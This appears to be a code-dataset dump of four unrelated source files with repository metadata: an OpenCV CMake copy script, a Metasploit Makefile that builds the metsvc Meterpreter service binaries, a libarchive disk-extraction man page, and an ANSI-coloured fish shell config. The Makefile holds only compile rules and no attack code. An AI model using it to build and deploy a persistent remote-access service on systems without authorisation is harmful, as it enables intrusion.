endforeach()
endif()
endforeach()
set(STATE_FILE "${CONFIG_FILE}.state")
if(EXISTS "${STATE_FILE}")
file(READ "${STATE_FILE}" __prev_state)
else()
set(__prev_state "")
endif()
if(NOT "${__state}" STREQUAL "${__prev_state}")
file(WRITE "${STATE_FILE}" "${__state}")
message("${prefix}Updated!")
set(update_dephelper 1)
endif()
if(NOT update_dephelper)
message("${prefix}All files are up-to-date.")
elseif(DEFINED DEPHELPER)
file(WRITE "${DEPHELPER}" "")
endif()
| CMake | 4 | thisisgopalmandal/opencv | cmake/copy_files.cmake | [
"BSD-3-Clause"
] |
# vim: set noexpandtab:
CC := cl
CFLAGS := /nologo
LDFLAGS := /nologo
PROGRAMS := metsvc.exe metsvc-server.exe
SCRIPTS := install.bat
SOURCES := $(patsubst %.exe,%.cpp,$(PROGRAMS))
OBJECTS := $(patsubst %.exe,%.obj,$(PROGRAMS))
GENERATED := vc??.pdb
build: $(PROGRAMS)
metsvc.exe: metsvc.cpp metsvc.h
$(CC) $(CFLAGS) $< /link $(LDFLAGS) /OUT:$@ ws2_32.lib advapi32.lib
metsvc-server.exe: metsvc-server.cpp metsvc.h
$(CC) $(CFLAGS) $< /link $(LDFLAGS) /OUT:$@ ws2_32.lib
clean:
rm -f $(PROGRAMS) $(OBJECTS) $(GENERATED)
.PHONY: build install clean
| Makefile | 4 | OsmanDere/metasploit-framework | external/source/metsvc/src/Makefile | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
#summary archive_write_disk 3 manual page
== NAME ==
*archive_write_disk_new*,
*archive_write_disk_set_options*,
*archive_write_disk_set_skip_file*,
*archive_write_disk_set_group_lookup*,
*archive_write_disk_set_standard_lookup*,
*archive_write_disk_set_user_lookup*,
*archive_write_header*,
*archive_write_data*,
*archive_write_finish_entry*,
*archive_write_close*,
*archive_write_finish*
- functions for creating objects on disk
== SYNOPSIS ==
*#include <archive.h>*
<br>
*struct archive `*`*
<br>
*archive_write_disk_new*(_void_);
<br>
*int*
<br>
*archive_write_disk_set_options*(_struct archive `*`_, _int flags_);
<br>
*int*
<br>
*archive_write_disk_set_skip_file*(_struct archive `*`_, _dev_t_, _ino_t_);
<br>
*int*
<br>
*archive_write_disk_set_group_lookup*(_struct archive `*`_, _void `*`_, _gid_t (`*`)(void `*`, const char `*`gname, gid_t gid)_, _void (`*`cleanup)(void `*`)_);
<br>
*int*
<br>
*archive_write_disk_set_standard_lookup*(_struct archive `*`_);
<br>
*int*
<br>
*archive_write_disk_set_user_lookup*(_struct archive `*`_, _void `*`_, _uid_t (`*`)(void `*`, const char `*`uname, uid_t uid)_, _void (`*`cleanup)(void `*`)_);
<br>
*int*
<br>
*archive_write_header*(_struct archive `*`_, _struct archive_entry `*`_);
<br>
*ssize_t*
<br>
*archive_write_data*(_struct archive `*`_, _const void `*`_, _size_t_);
<br>
*int*
<br>
*archive_write_finish_entry*(_struct archive `*`_);
<br>
*int*
<br>
*archive_write_close*(_struct archive `*`_);
<br>
*int*
<br>
*archive_write_finish*(_struct archive `*`_);
== DESCRIPTION ==
These functions provide a complete API for creating objects on
disk from
*struct archive_entry*
descriptions.
They are most naturally used when extracting objects from an archive
using the
*archive_read*()
interface.
The general process is to read
*struct archive_entry*
objects from an archive, then write those objects to a
*struct archive*
object created using the
*archive_write_disk*()
family functions.
This interface is deliberately very similar to the
*archive_write*()
interface used to write objects to a streaming archive.
<dl>
<dt>*archive_write_disk_new*()</dt><dd>
Allocates and initializes a
*struct archive*
object suitable for writing objects to disk.
</dd><dt>*archive_write_disk_set_skip_file*()</dt><dd>
Records the device and inode numbers of a file that should not be
overwritten.
This is typically used to ensure that an extraction process does not
overwrite the archive from which objects are being read.
This capability is technically unnecessary but can be a significant
performance optimization in practice.
</dd><dt>*archive_write_disk_set_options*()</dt><dd>
The options field consists of a bitwise OR of one or more of the
following values:
<dl>
<dt>*ARCHIVE_EXTRACT_OWNER*</dt><dd>
The user and group IDs should be set on the restored file.
By default, the user and group IDs are not restored.
</dd><dt>*ARCHIVE_EXTRACT_PERM*</dt><dd>
Full permissions (including SGID, SUID, and sticky bits) should
be restored exactly as specified, without obeying the
current umask.
Note that SUID and SGID bits can only be restored if the
user and group ID of the object on disk are correct.
If
*ARCHIVE_EXTRACT_OWNER*
is not specified, then SUID and SGID bits will only be restored
if the default user and group IDs of newly-created objects on disk
happen to match those specified in the archive entry.
By default, only basic permissions are restored, and umask is obeyed.
</dd><dt>*ARCHIVE_EXTRACT_TIME*</dt><dd>
The timestamps (mtime, ctime, and atime) should be restored.
By default, they are ignored.
Note that restoring of atime is not currently supported.
</dd><dt>*ARCHIVE_EXTRACT_NO_OVERWRITE*</dt><dd>
Existing files on disk will not be overwritten.
By default, existing regular files are truncated and overwritten;
existing directories will have their permissions updated;
other pre-existing objects are unlinked and recreated from scratch.
</dd><dt>*ARCHIVE_EXTRACT_UNLINK*</dt><dd>
Existing files on disk will be unlinked before any attempt to
create them.
In some cases, this can prove to be a significant performance improvement.
By default, existing files are truncated and rewritten, but
the file is not recreated.
In particular, the default behavior does not break existing hard links.
</dd><dt>*ARCHIVE_EXTRACT_ACL*</dt><dd>
Attempt to restore ACLs.
By default, extended ACLs are ignored.
</dd><dt>*ARCHIVE_EXTRACT_FFLAGS*</dt><dd>
Attempt to restore extended file flags.
By default, file flags are ignored.
</dd><dt>*ARCHIVE_EXTRACT_XATTR*</dt><dd>
Attempt to restore POSIX.1e extended attributes.
By default, they are ignored.
</dd><dt>*ARCHIVE_EXTRACT_SECURE_SYMLINKS*</dt><dd>
Refuse to extract any object whose final location would be altered
by a symlink on disk.
This is intended to help guard against a variety of mischief
caused by archives that (deliberately or otherwise) extract
files outside of the current directory.
The default is not to perform this check.
If
*ARCHIVE_EXTRACT_UNLINK*
is specified together with this option, the library will
remove any intermediate symlinks it finds and return an
error only if such symlink could not be removed.
</dd><dt>*ARCHIVE_EXTRACT_SECURE_NODOTDOT*</dt><dd>
Refuse to extract a path that contains a
_.._
element anywhere within it.
The default is to not refuse such paths.
Note that paths ending in
_.._
always cause an error, regardless of this flag.
</dd><dt>*ARCHIVE_EXTRACT_SPARSE*</dt><dd>
Scan data for blocks of NUL bytes and try to recreate them with holes.
This results in sparse files, independent of whether the archive format
supports or uses them.
</dd></dl>
</dd><dt>
*archive_write_disk_set_group_lookup*(),
*archive_write_disk_set_user_lookup*()
</dt> <dd>
The
*struct archive_entry*
objects contain both names and ids that can be used to identify users
and groups.
These names and ids describe the ownership of the file itself and
also appear in ACL lists.
By default, the library uses the ids and ignores the names, but
this can be overridden by registering user and group lookup functions.
To register, you must provide a lookup function which
accepts both a name and id and returns a suitable id.
You may also provide a
*void `*`*
pointer to a private data structure and a cleanup function for
that data.
The cleanup function will be invoked when the
*struct archive*
object is destroyed.
</dd><dt>*archive_write_disk_set_standard_lookup*()</dt><dd>
This convenience function installs a standard set of user
and group lookup functions.
These functions use
*getpwnam*(3)
and
*getgrnam*(3)
to convert names to ids, defaulting to the ids if the names cannot
be looked up.
These functions also implement a simple memory cache to reduce
the number of calls to
*getpwnam*(3)
and
*getgrnam*(3).
</dd><dt>*archive_write_header*()</dt><dd>
Build and write a header using the data in the provided
*struct archive_entry*
structure.
See
*archive_entry*(3)
for information on creating and populating
*struct archive_entry*
objects.
</dd><dt>*archive_write_data*()</dt><dd>
Write data corresponding to the header just written.
Returns number of bytes written or -1 on error.
</dd><dt>*archive_write_finish_entry*()</dt><dd>
Close out the entry just written.
Ordinarily, clients never need to call this, as it
is called automatically by
*archive_write_next_header*()
and
*archive_write_close*()
as needed.
</dd><dt>*archive_write_close*()</dt><dd>
Set any attributes that could not be set during the initial restore.
For example, directory timestamps are not restored initially because
restoring a subsequent file would alter that timestamp.
Similarly, non-writable directories are initially created with
write permissions (so that their contents can be restored).
The
*archive_write_disk_new*
library maintains a list of all such deferred attributes and
sets them when this function is invoked.
</dd><dt>*archive_write_finish*()</dt><dd>
Invokes
*archive_write_close*()
if it was not invoked manually, then releases all resources.
</dd></dl>
More information about the
_struct_ archive
object and the overall design of the library can be found in the
*libarchive*(3)
overview.
Many of these functions are also documented under
*archive_write*(3).
== RETURN VALUES ==
Most functions return
*ARCHIVE_OK*
(zero) on success, or one of several non-zero
error codes for errors.
Specific error codes include:
*ARCHIVE_RETRY*
for operations that might succeed if retried,
*ARCHIVE_WARN*
for unusual conditions that do not prevent further operations, and
*ARCHIVE_FATAL*
for serious errors that make remaining operations impossible.
The
*archive_errno*()
and
*archive_error_string*()
functions can be used to retrieve an appropriate error code and a
textual error message.
*archive_write_disk_new*()
returns a pointer to a newly-allocated
*struct archive*
object.
*archive_write_data*()
returns a count of the number of bytes actually written.
On error, -1 is returned and the
*archive_errno*()
and
*archive_error_string*()
functions will return appropriate values.
== SEE ALSO ==
*archive_read*(3),
*archive_write*(3),
*tar*(1),
*libarchive*(3)
== HISTORY ==
The
*libarchive*
library first appeared in
FreeBSD 5.3.
The
*archive_write_disk*
interface was added to
*libarchive* 2.0
and first appeared in
FreeBSD 6.3.
== AUTHORS ==
The
*libarchive*
library was written by
Tim Kientzle <kientzle@acm.org.>
== BUGS ==
Directories are actually extracted in two distinct phases.
Directories are created during
*archive_write_header*(),
but final permissions are not set until
*archive_write_close*().
This separation is necessary to correctly handle borderline
cases such as a non-writable directory containing
files, but can cause unexpected results.
In particular, directory permissions are not fully
restored until the archive is closed.
If you use
*chdir*(2)
to change the current directory between calls to
*archive_read_extract*()
or before calling
*archive_read_close*(),
you may confuse the permission-setting logic with
the result that directory permissions are restored
incorrectly.
The library attempts to create objects with filenames longer than
*PATH_MAX*
by creating prefixes of the full path and changing the current directory.
Currently, this logic is limited in scope; the fixup pass does
not work correctly for such objects and the symlink security check
option disables the support for very long pathnames.
Restoring the path
_aa/../bb_
does create each intermediate directory.
In particular, the directory
_aa_
is created as well as the final object
_bb_.
In theory, this can be exploited to create an entire directory heirarchy
with a single request.
Of course, this does not work if the
*ARCHIVE_EXTRACT_NODOTDOT*
option is specified.
Implicit directories are always created obeying the current umask.
Explicit objects are created obeying the current umask unless
*ARCHIVE_EXTRACT_PERM*
is specified, in which case they current umask is ignored.
SGID and SUID bits are restored only if the correct user and
group could be set.
If
*ARCHIVE_EXTRACT_OWNER*
is not specified, then no attempt is made to set the ownership.
In this case, SGID and SUID bits are restored only if the
user and group of the final object happen to match those specified
in the entry.
The
"standard"
user-id and group-id lookup functions are not the defaults because
*getgrnam*(3)
and
*getpwnam*(3)
are sometimes too large for particular applications.
The current design allows the application author to use a more
compact implementation when appropriate.
There should be a corresponding
*archive_read_disk*
interface that walks a directory heirarchy and returns archive
entry objects.
| MediaWiki | 5 | OakCityLabs/ios_system | libarchive/libarchive/doc/wiki/ManPageArchiveWriteDisk3.wiki | [
"BSD-3-Clause"
] |
[38;2;255;255;255mset[0m[38;2;255;255;255m [0m[38;2;255;255;255mfish_greeting[0m[38;2;255;255;255m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m"[0m
[38;2;249;38;114mbegin[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m--[0m[3;38;2;253;151;31mlocal[0m[38;2;255;255;255m [0m[38;2;255;255;255mAUTOJUMP_PATH[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mXDG_CONFIG_HOME[0m[38;2;255;255;255m/fish/functions/autojump.fish[0m
[38;2;255;255;255m [0m[38;2;249;38;114mif[0m[38;2;255;255;255m [0m[38;2;255;255;255mtest[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mAUTOJUMP_PATH[0m
[38;2;255;255;255m [0m[38;2;255;255;255msource[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mAUTOJUMP_PATH[0m
[38;2;255;255;255m [0m[38;2;249;38;114mend[0m
[38;2;249;38;114mend[0m
[38;2;255;255;255mfish_vi_key_bindings[0m
[38;2;249;38;114mfunction[0m[38;2;255;255;255m [0m[38;2;166;226;46mfish_prompt[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mbrblack[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m[[0m[38;2;230;219;116m"[0m[38;2;255;255;255m([0m[38;2;255;255;255mdate[0m[38;2;255;255;255m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m+%H:%M[0m[38;2;230;219;116m"[0m[38;2;255;255;255m)[0m[38;2;230;219;116m"[0m[38;2;230;219;116m] [0m[38;2;230;219;116m"[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mblue[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255mhostname[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;249;38;114mif[0m[38;2;255;255;255m [0m[38;2;102;217;239m[[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mPWD[0m[38;2;255;255;255m [0m[38;2;255;255;255m!=[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mHOME[0m[38;2;255;255;255m [0m[38;2;102;217;239m][0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mbrblack[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m:[0m[38;2;230;219;116m'[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255myellow[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255mbasename[0m[38;2;255;255;255m [0m[38;2;255;255;255m$[0m[38;2;255;255;255mPWD[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;249;38;114mend[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mgreen[0m
[38;2;255;255;255m [0m[38;2;255;255;255mprintf[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m%s [0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255m__fish_git_prompt[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mred[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m| [0m[38;2;230;219;116m'[0m
[38;2;255;255;255m [0m[38;2;255;255;255mset_color[0m[38;2;255;255;255m [0m[38;2;255;255;255mnormal[0m
[38;2;249;38;114mend[0m
[38;2;249;38;114mfunction[0m[38;2;255;255;255m [0m[38;2;166;226;46mfish_greeting[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255muname[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mro[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;255;255;255mawk[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m{print " [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[1mOS: [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0;32m"$0"[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m"}[0m[38;2;230;219;116m'[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255muptime[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mp[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^up //[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;255;255;255mawk[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m{print " [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[1mUptime: [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0;32m"$0"[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m"}[0m[38;2;230;219;116m'[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;255;255;255muname[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mn[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;255;255;255mawk[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m{print " [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[1mHostname: [0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0;32m"$0"[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m"}[0m[38;2;230;219;116m'[0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m [0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[1mDisk usage:[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m[0m[38;2;230;219;116m"[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mne[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mdf[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31ml[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mh[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;255;255;255mgrep[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mE[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116mdev/(xvda|sd|mapper)[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mawk[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m{printf "[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116mt%s[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116mt%4s / %4s %s[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116mn\n", $6, $3, $2, $5}[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^\(.*\([8][5-9]\|[9][0-9]\)%.*\)$/[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0;31m\1[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^\(.*\([7][5-9]\|[8][0-4]\)%.*\)$/[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0;33m\1[0m[38;2;190;132;255m\\[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mpaste[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31msd[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m'[0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255m)[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m"[0m[38;2;230;219;116m [0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[1mNetwork:[0m[38;2;190;132;255m\\[0m[38;2;230;219;116me[0m[0m[38;2;230;219;116m"[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m http://tdt.rocks/linux_network_interface_naming.html[0m
[38;2;255;255;255m [0m[38;2;255;255;255mecho[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mne[0m[38;2;255;255;255m [0m[38;2;255;255;255m([0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mip[0m[38;2;255;255;255m [0m[38;2;255;255;255maddr[0m[38;2;255;255;255m [0m[38;2;255;255;255mshow[0m[38;2;255;255;255m [0m[38;2;255;255;255mup[0m[38;2;255;255;255m [0m[38;2;255;255;255mscope[0m[38;2;255;255;255m [0m[38;2;255;255;255mglobal[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mgrep[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mE[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116m: <|inet[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^[[:digit:]]\+: //[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/: <.*//[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/.*inet[[:digit:]]* //[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31me[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/\/.*//[0m[38;2;230;219;116m'[0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mawk[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116mBEGIN {i=""} /\.|:/ {print i" "$0"[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\n"; next} // {i = $0}[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255msort[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;255;255;255mcolumn[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mt[0m[38;2;255;255;255m [0m[3;38;2;253;151;31m-[0m[3;38;2;253;151;31mR1[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m public addresses are underlined for visibility \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/ \([^ ]\+\)$/ [0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[4m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m private addresses are not \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/m\(\(10\.\|172\.\(1[6-9]\|2[0-9]\|3[01]\)\|192\.168\.\).*\)/m[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[24m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m unknown interfaces are cyan \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/^\( *[^ ]\+\)/[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[36m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m ethernet interfaces are normal \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/\(\(en\|em\|eth\)[^ ]* .*\)/[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[39m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m wireless interfaces are purple \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/\(wl[^ ]* .*\)/[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[35m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
[38;2;255;255;255m [0m[38;2;117;113;94m#[0m[38;2;117;113;94m wwan interfaces are yellow \[0m
[38;2;255;255;255m [0m[38;2;255;255;255msed[0m[38;2;255;255;255m [0m[38;2;230;219;116m'[0m[38;2;230;219;116ms/\(ww[^ ]* .*\).*/[0m[38;2;190;132;255m\\[0m[38;2;230;219;116m\e[33m\1/[0m[38;2;230;219;116m'[0m[38;2;255;255;255m [0m[38;2;249;38;114m|[0m[38;2;255;255;255m [0m[38;2;190;132;255m\[0m
